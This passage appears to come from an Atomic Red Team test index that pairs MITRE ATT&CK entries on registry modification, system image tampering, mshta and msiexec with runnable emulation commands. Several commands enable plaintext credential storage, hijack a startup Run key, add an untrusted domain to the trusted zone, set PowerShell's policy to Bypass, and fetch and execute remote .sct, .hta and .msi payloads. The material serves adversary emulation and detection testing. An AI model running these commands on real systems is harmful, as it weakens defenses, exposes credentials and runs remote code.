      - url: https://blog.trendmicro.com/trendlabs-security-intelligence/poweliks-malware-hides-in-windows-registry/
        description: 'Santos, R. (2014, August 1). POWELIKS: Malware Hides In Windows
          Registry. Retrieved August 9, 2018.'
        source_name: TrendMicro POWELIKS AUG 2014
      - url: https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
        description: Reitz, B. (2017, July 14). Hiding Registry keys with PSReflect.
          Retrieved August 9, 2018.
        source_name: SpectorOps Hiding Reg Jul 2017
      - url: https://technet.microsoft.com/en-us/library/cc754820.aspx
        description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved
          May 1, 2015.
        source_name: Microsoft Remote
      - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657
        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry
          value was modified. Retrieved August 9, 2018.'
        source_name: Microsoft 4657 APR 2017
      - url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull
        description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull v1.11.
          Retrieved August 10, 2018.
        source_name: Microsoft RegDelNull July 2016
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-08-13T20:02:49.641Z'
      created: '2017-05-31T21:31:23.587Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.

        Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. The Registry may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

        Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).
      x_mitre_defense_bypassed:
      - Host forensic analysis
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Windows Registry: Windows Registry Key Deletion'
      x_mitre_contributors:
      - Bartosz Jerzman
      - Travis Smith, Tripwire
      - David Lu, Tripwire
      x_mitre_version: '1.2'
      identifier: T1112
    atomic_tests:
    - name: Modify Registry of Current User Profile - cmd
      auto_generated_guid: 1324796b-d0f6-455a-b4ae-21ffee6aa6b9
      description: |
        Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully."
        will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
          /t REG_DWORD /v HideFileExt /d 1 /f

'
        cleanup_command: 'reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
          /v HideFileExt /f >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Modify Registry of Local Machine - cmd
      auto_generated_guid: 282f929a-6bc5-42b8-bd93-960c3ba35afe
      description: |
        Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup.  This should only be possible when
        CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully."
        will be displayed. Additionally, open Registry Editor to view the modified entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
      supported_platforms:
      - windows
      input_arguments:
        new_executable:
          description: New executable to run on startup instead of Windows Defender
          type: String
          default: calc.exe
      executor:
        command: 'reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
          /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f

'
        cleanup_command: 'reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
          /v SecurityHealth /f >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Modify registry to store logon credentials
      auto_generated_guid: c0413fb5-33e2-40b7-9b6f-60b29f4a7a18
      description: |
        Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping).
        Upon execution, the message "The operation completed successfully." will be displayed.
        Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest.
      supported_platforms:
      - windows
      executor:
        command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
          /v UseLogonCredential /t REG_DWORD /d 1 /f

'
        cleanup_command: 'reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
          /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Add domain to Trusted sites Zone
      auto_generated_guid: cf447677-5a4e-4937-a82c-e47d254afd57
      description: |
        Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365.
        Upon execution, details of the new registry entries will be displayed.
        Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\.

        https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf
      supported_platforms:
      - windows
      input_arguments:
        bad_domain:
          description: Domain to add to trusted site zone
          type: String
          default: bad-domain.com
      executor:
        command: |
          $key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\"
          $name ="bad-subdomain"
          new-item $key -Name $name -Force
          new-itemproperty $key$name -Name https -Value 2 -Type DWORD;
          new-itemproperty $key$name -Name http  -Value 2 -Type DWORD;
          new-itemproperty $key$name -Name *     -Value 2 -Type DWORD;
        cleanup_command: |
          $key = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\"
          Remove-item  $key -Recurse -ErrorAction Ignore
        name: powershell
    - name: Javascript in registry
      auto_generated_guid: 15f44ea9-4571-4837-be9e-802431a7bfae
      description: |
        Upon execution, a javascript block will be placed in the registry for persistence.
        Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings.
      supported_platforms:
      - windows
      executor:
        command: 'New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet
          Settings" -Name T1112 -Value "<script>"

'
        cleanup_command: 'Remove-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet
          Settings" -Name T1112 -ErrorAction Ignore

'
        name: powershell
    - name: Change Powershell Execution Policy to Bypass
      auto_generated_guid: f3a6cceb-06c9-48e5-8df8-8867a6814245
      description: |
        Attackers need to change the powershell execution policy in order to run their malicious powershell scripts.
        They can either specify it during the execution of the powershell script or change the registry value for it.
      supported_platforms:
      - windows
      input_arguments:
        default_execution_policy:
          description: Specify the default poweshell execution policy
          type: String
          default: Default
      executor:
        command: 'Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine

'
        cleanup_command: 'try { Set-ExecutionPolicy -ExecutionPolicy #{default_execution_policy}
          -Scope LocalMachine -Force } catch {}

'
        name: powershell
  T1601:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1601
        url: https://attack.mitre.org/techniques/T1601
      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Image File Verification. Retrieved October 19, 2020.
      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#13
        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
          IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Modify System Image
      description: |-
        Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

        To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.  This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.
      id: attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-10-22T17:50:47.635Z'
      created: '2020-10-19T19:42:19.740Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: "Most embedded network devices provide a command to print
        the version of the currently running operating system.  Use this command to
        query the operating system for its version number and compare it to what is
        expected for the device in question.  Because this method may be used in conjunction
        with [Patch System Image](https://attack.mitre.org/techniques/T1601/001),
        it may be appropriate to also verify the integrity of the vendor provided
        operating system image file. \n\nCompare the checksum of the operating system
        file with the checksum of a known good copy from a trusted source.  Some embedded
        network device platforms may have the capability to calculate the checksum
        of the file, while others may not.  Even for those platforms that have the
        capability, it is recommended to download a copy of the file to a trusted
        computer to calculate the checksum with software that is not compromised.
        \ (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany
        vendors of embedded network devices can provide advanced debugging support
        that will allow them to work with device owners to validate the integrity
        of the operating system running in memory.  If a compromise of the operating
        system is suspected, contact the vendor technical support and seek such services
        for a more thorough inspection of the current running system.  (Citation:
        Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)"
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1218.005:
    technique:
      created: '2020-01-23T19:32:49.557Z'
      modified: '2020-12-30T14:29:06.462Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1218.005
        url: https://attack.mitre.org/techniques/T1218/005
      - source_name: Cylance Dust Storm
        description: Gross, J. (2016, February 23). Operation Dust Storm. Retrieved
          September 19, 2017.
        url: https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf
      - source_name: Red Canary HTA Abuse Part Deux
        description: McCammon, K. (2015, August 14). Microsoft HTML Application (HTA)
          Abuse, Part Deux. Retrieved October 27, 2017.
        url: https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/
      - url: https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html
        description: 'Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R.
          (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler.
          Retrieved October 27, 2017.'
        source_name: FireEye Attacks Leveraging HTA
      - description: Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis
          Of Kovter Persistence. Retrieved December 5, 2017.
        source_name: Airbus Security Kovter Analysis
        url: https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/
      - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
          LNK. Retrieved April 24, 2017.
        source_name: FireEye FIN7 April 2017
      - source_name: Wikipedia HTML Application
        description: Wikipedia. (2017, October 14). HTML Application. Retrieved October
          27, 2017.
        url: https://en.wikipedia.org/wiki/HTML_Application
      - source_name: MSDN HTML Applications
        description: Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.
        url: https://msdn.microsoft.com/library/ms536471.aspx
      - source_name: LOLBAS Mshta
        url: https://lolbas-project.github.io/lolbas/Binaries/Mshta/
        description: LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Mshta
      description: "Adversaries may abuse mshta.exe to proxy execution of malicious
        .hta files and Javascript or VBScript through a trusted Windows utility. There
        are several examples of different types of threats leveraging mshta.exe during
        initial compromise and for execution of code (Citation: Cylance Dust Storm)
        (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging
        HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April
        2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications
        (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications
        that execute using the same models and technologies of Internet Explorer,
        but outside of the browser. (Citation: MSDN HTML Applications)\n\nFiles may
        be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>\n\nThey
        may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe
        can be used to bypass application control solutions that do not account for
        its potential use. Since mshta.exe executes outside of the Internet Explorer's
        security context, it also bypasses browser security settings. (Citation: LOLBAS
        Mshta)"
      id: attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_defense_bypassed:
      - Application control
      - Digital Certificate Validation
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed .hta files to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the .hta file being executed.

        Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_contributors:
      - Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank
      - Ricardo Dias
      x_mitre_platforms:
      - Windows
      identifier: T1218.005
    atomic_tests:
    - name: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject
      auto_generated_guid: 1483fab9-4f52-4217-a9ce-daa9d7747cae
      description: 'Test execution of a remote script using mshta.exe. Upon execution
        calc.exe will be launched.

'
      supported_platforms:
      - windows
      input_arguments:
        file_url:
          description: location of the payload
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/mshta.sct
      executor:
        command: 'mshta.exe javascript:a=(GetObject(''script:#{file_url}'')).Exec();close();

'
        name: command_prompt
    - name: Mshta executes VBScript to execute malicious command
      auto_generated_guid: 906865c3-e05f-4acc-85c4-fbc185455095
      description: |
        Run a local VB script to run local user enumeration powershell command.
        This attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems.
        Upon execution, a new PowerShell windows will be opened that displays user information.
      supported_platforms:
      - windows
      executor:
        command: 'mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell
          -noexit -file PathToAtomicsFolder\T1218.005\src\powershell.ps1"":close")

'
        name: command_prompt
    - name: Mshta Executes Remote HTML Application (HTA)
      auto_generated_guid: c4b97eeb-5249-4455-a607-59f95485cb45
      description: 'Execute an arbitrary remote HTA. Upon execution calc.exe will
        be launched.

'
      supported_platforms:
      - windows
      input_arguments:
        temp_file:
          description: temp_file location for hta
          type: String
          default: "$env:appdata\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1218.005.hta"
        hta_url:
          description: URL to HTA file for execution
          type: String
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.005/src/T1218.005.hta
      executor:
        command: |
          $var =Invoke-WebRequest "#{hta_url}"
          $var.content|out-file "#{temp_file}"
          mshta "#{temp_file}"
        cleanup_command: 'remove-item "#{temp_file}" -ErrorAction Ignore

'
        name: powershell
    - name: Invoke HTML Application - Jscript Engine over Local UNC Simulating Lateral
        Movement
      auto_generated_guid: 007e5672-2088-4853-a562-7490ddc19447
      description: Executes an HTA Application using JScript script engine using local
        UNC path simulating lateral movement.
      supported_platforms:
      - windows
      input_arguments:
        script_engine:
          description: Script Engine to use
          type: String
          default: JScript
        hta_file_path:
          description: HTA file name and or path to be used
          type: String
          default: Test.hta
        mshta_file_path:
          description: Location of mshta.exe
          type: String
          default: "$env:windir\\system32\\mshta.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine
          #{script_engine} -AsLocalUNCPath -SimulateLateralMovement -MSHTAFilePath
          #{mshta_file_path}'
        name: powershell
    - name: Invoke HTML Application - Jscript Engine Simulating Double Click
      auto_generated_guid: 58a193ec-131b-404e-b1ca-b35cf0b18c33
      description: Executes an HTA Application using JScript script engine simulating
        double click.
      supported_platforms:
      - windows
      input_arguments:
        script_engine:
          description: Script Engine to use
          type: String
          default: JScript
        hta_file_path:
          description: HTA file name and or path to be used
          type: String
          default: Test.hta
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHHTMLApplication -HTAFilePath #{hta_file_path} -ScriptEngine
          #{script_engine} -SimulateUserDoubleClick'
        name: powershell
    - name: Invoke HTML Application - Direct download from URI
      auto_generated_guid: 39ceed55-f653-48ac-bd19-aceceaf525db
      description: Executes an HTA Application by directly downloading from remote
        URI.
      supported_platforms:
      - windows
      input_arguments:
        mshta_file_path:
          description: Location of mshta.exe
          type: String
          default: "$env:windir\\system32\\mshta.exe"
        hta_uri:
          description: URI to HTA
          type: Url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/24549e3866407c3080b95b6afebf78e8acd23352/atomics/T1218.005/src/T1218.005.hta
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHHTMLApplication -HTAUri #{hta_uri} -MSHTAFilePath #{mshta_file_path}'
        name: powershell
    - name: Invoke HTML Application - JScript Engine with Rundll32 and Inline Protocol
        Handler
      auto_generated_guid: e7e3a525-7612-4d68-a5d3-c4649181b8af
      description: Executes an HTA Application with JScript Engine, Rundll32 and Inline
        Protocol Handler.
      supported_platforms:
      - windows
      input_arguments:
        rundll32_file_path:
          description: Location of rundll32.exe
          type: Path
          default: "$env:windir\\system32\\rundll32.exe"
        script_engine:
          description: Script Engine to use
          type: String
          default: JScript
        protocol_handler:
          description: Protocol Handler to use
          type: String
          default: About
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler
          #{protocol_handler} -UseRundll32 -Rundll32FilePath #{rundll32_file_path}'
        name: powershell
    - name: Invoke HTML Application - JScript Engine with Inline Protocol Handler
      auto_generated_guid: d3eaaf6a-cdb1-44a9-9ede-b6c337d0d840
      description: Executes an HTA Application with JScript Engine and Inline Protocol
        Handler.
      supported_platforms:
      - windows
      input_arguments:
        mshta_file_path:
          description: Location of mshta.exe
          type: Path
          default: "$env:windir\\system32\\mshta.exe"
        script_engine:
          description: Script Engine to use
          type: String
          default: JScript
        protocol_handler:
          description: Protocol Handler to use
          type: String
          default: About
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHHTMLApplication -ScriptEngine #{script_engine} -InlineProtocolHandler
          #{protocol_handler} -MSHTAFilePath #{mshta_file_path}'
        name: powershell
    - name: Invoke HTML Application - Simulate Lateral Movement over UNC Path
      auto_generated_guid: b8a8bdb2-7eae-490d-8251-d5e0295b2362
      description: Executes an HTA Application with Simulate lateral movement over
        UNC Path.
      supported_platforms:
      - windows
      input_arguments:
        mshta_file_path:
          description: Location of mshta.exe
          type: String
          default: "$env:windir\\system32\\mshta.exe"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHHTMLApplication
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHHTMLApplication']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

'
      executor:
        command: 'Invoke-ATHHTMLApplication -TemplatePE -AsLocalUNCPath -MSHTAFilePath
          #{mshta_file_path}'
        name: powershell
    - name: Mshta used to Execute PowerShell
      auto_generated_guid: 8707a805-2b76-4f32-b1c0-14e558205772
      description: 'Use Mshta to execute arbitrary PowerShell. Example is from the
        2021 Threat Detection Report by Red Canary.

'
      supported_platforms:
      - windows
      input_arguments:
        message:
          description: Encoded message to include
          type: String
          default: Hello,%20MSHTA!
        seconds_to_sleep:
          description: How many seconds to sleep/wait
          type: Integer
          default: 5
      executor:
        command: 'mshta.exe "about:<hta:application><script language="VBScript">Close(Execute("CreateObject(""Wscript.Shell"").Run%20""powershell.exe%20-nop%20-Command%20Write-Host%20#{message};Start-Sleep%20-Seconds%20#{seconds_to_sleep}"""))</script>''"

'
        name: command_prompt
  T1218.007:
    technique:
      id: attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336
      description: |-
        Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi).(Citation: Microsoft msiexec) Msiexec.exe is digitally signed by Microsoft.

        Adversaries may abuse msiexec.exe to launch local or network accessible MSI files. Msiexec.exe can also execute DLLs.(Citation: LOLBAS Msiexec)(Citation: TrendMicro Msiexec Feb 2018) Since it is signed and native on Windows systems, msiexec.exe can be used to bypass application control solutions that do not account for its potential abuse. Msiexec.exe execution may also be elevated to SYSTEM privileges if the <code>AlwaysInstallElevated</code> policy is enabled.(Citation: Microsoft AlwaysInstallElevated 2018)
      name: Msiexec
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1218.007
        url: https://attack.mitre.org/techniques/T1218/007
      - source_name: Microsoft msiexec
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec
        description: Microsoft. (2017, October 15). msiexec. Retrieved January 24,
          2020.
      - description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.
        url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
        source_name: LOLBAS Msiexec
      - source_name: TrendMicro Msiexec Feb 2018
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
        description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows
          Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.
      - source_name: Microsoft AlwaysInstallElevated 2018
        url: https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated
        description: Microsoft. (2018, May 31). AlwaysInstallElevated. Retrieved December
          14, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-12-14T18:40:45.170Z'
      created: '2020-01-24T14:38:49.266Z'
      x_mitre_contributors:
      - Alexandros Pappas
      x_mitre_platforms:
      - Windows
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of msiexec.exe. Compare recent invocations of msiexec.exe with prior history
        of known good arguments and executed MSI files or DLLs to determine anomalous
        and potentially adversarial activity. Command arguments used before and after
        the invocation of msiexec.exe may also be useful in determining the origin
        and purpose of the MSI files or DLLs being executed.
      x_mitre_defense_bypassed:
      - Digital Certificate Validation
      - Application control
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      identifier: T1218.007
    atomic_tests:
    - name: Msiexec.exe - Execute Local MSI file
      auto_generated_guid: '0683e8f7-a27b-4b62-b7ab-dc7d4fed1df8'
      description: 'Execute arbitrary MSI file. Commonly seen in application installation.
        The MSI opens notepad.exe when sucessfully executed.

'
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: Path
          default: PathToAtomicsFolder\T1218.007\src\Win32\T1218.msi
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1218.msi must exist on disk at specified location (#{msi_payload})

'
        prereq_command: 'if (Test-Path #{msi_payload}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host "You must provide your own MSI"

'
      executor:
        command: 'msiexec.exe /q /i "#{msi_payload}"

'
        name: command_prompt
    - name: Msiexec.exe - Execute Remote MSI file
      auto_generated_guid: bde7d2fe-d049-458d-a362-abda32a7e649
      description: 'Execute arbitrary MSI file retrieved remotely. Less commonly seen
        in application installation, commonly seen in malware execution. The MSI opens
        notepad.exe when sucessfully executed.

'
      supported_platforms:
      - windows
      input_arguments:
        msi_payload:
          description: MSI file to execute
          type: String
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/Win32/T1218.msi
      executor:
        command: 'msiexec.exe /q /i "#{msi_payload}"

'
        name: command_prompt
    - name: Msiexec.exe - Execute Arbitrary DLL
      auto_generated_guid: 66f64bd5-7c35-4c24-953a-04ca30a0a0ec
      description: |
        Execute arbitrary DLL file stored locally. Commonly seen in application installation.
        Upon execution, a window titled "Boom!" will open that says "Locked and Loaded!". For 32 bit systems change the dll_payload argument to the Win32 folder.
        By default, if the src folder is not in place, it will download the 64 bit version.
      supported_platforms:
      - windows
      input_arguments:
        dll_payload:
          description: DLL to execute
          type: Path
          default: PathToAtomicsFolder\T1218.007\src\x64\T1218.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1218.dll must exist on disk at specified location (#{dll_payload})

'
        prereq_command: 'if (Test-Path #{dll_payload}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.007/src/x64/T1218.dll" -OutFile "#{dll_payload}"
      executor:
        command: 'msiexec.exe /y "#{dll_payload}"

'
        name: command_prompt
  T1564.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1564.004
        url: https://attack.mitre.org/techniques/T1564/004
      - url: https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
        description: Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator
          Design. Retrieved March 21, 2018.
        source_name: SpectorOps Host-Based Jul 2017
      - url: https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
        description: Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved
          March 21, 2018.
        source_name: Microsoft NTFS File Attributes Aug 2010
      - url: http://msdn.microsoft.com/en-us/library/aa364404
        description: Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.
